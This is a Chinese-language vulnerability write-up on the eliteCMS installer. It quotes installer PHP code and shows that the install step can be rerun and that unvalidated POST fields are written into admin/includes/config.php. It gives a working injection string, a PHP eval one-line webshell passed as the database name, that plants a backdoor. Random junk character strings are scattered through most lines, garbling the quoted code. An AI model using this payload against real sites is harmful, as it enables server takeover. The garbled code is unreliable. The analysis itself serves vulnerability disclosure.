eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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% i, [. a+ e4 O2 i+ C+ S另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
) A0 Q  x  y: `) G2 P! e2 L我们来看代码：
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...
elseif ($_GET['step'] == "4") {
' c5 i1 R+ X# y2 C* u    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
5 L5 x9 U0 j" V& U& k    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
3 O4 V7 M- \% r' W. k& L4 @' Z9 i$ V2 M...略...
, b$ L) Z2 @7 A7 H8 u5 B6 A6 P    $write .= "*\n";
! C6 F+ r8 e6 w- ^8 S! R, x( \    $write .= "*/\n";
8 }4 |) f1 a& B1 W% }! B, {    $write .= "\n";
" y& k$ {, ?8 j# `& D. D( _    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
3 I4 \3 z7 P; z/ y! {9 f    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
3 S/ \. \( ?9 l! Z# N) i! w6 @& e    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
! {8 B0 K: ^6 a! q) S! u5 b3 E    $write .= "if (!\$connection) {\n";
; D# ]* h' o2 w  X- ?% e9 R5 S    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
  d: L( X7 q3 m3 j3 ~# ]    $write .= "        \n";
    $write .= "} \n";
  d7 K9 a8 x. U8 H3 y* n# s  b2 K3 C    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
! ]& o5 p, b1 V' `! X+ A    $write .= "if (!\$db_select) {\n";
9 ^% S& ^# w: n; b4 [' d$ t5 z    $write .= "        die(\"Database select failed\" .mysql_error());\n";
8 x9 e2 {6 l* W' F3 y! o    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";
7 N7 m6 ?/ g" }
    $writer = fopen($file, 'w');
...
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在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
1 ^2 Z7 H; S& z0 R: P$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
3 H: l+ l5 i4 d3 Y" _$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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: T6 J5 a& N0 V8 W' x取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

+ X/ K3 A& t# a, B将导致一句话后门写入/admin/includes/config.php
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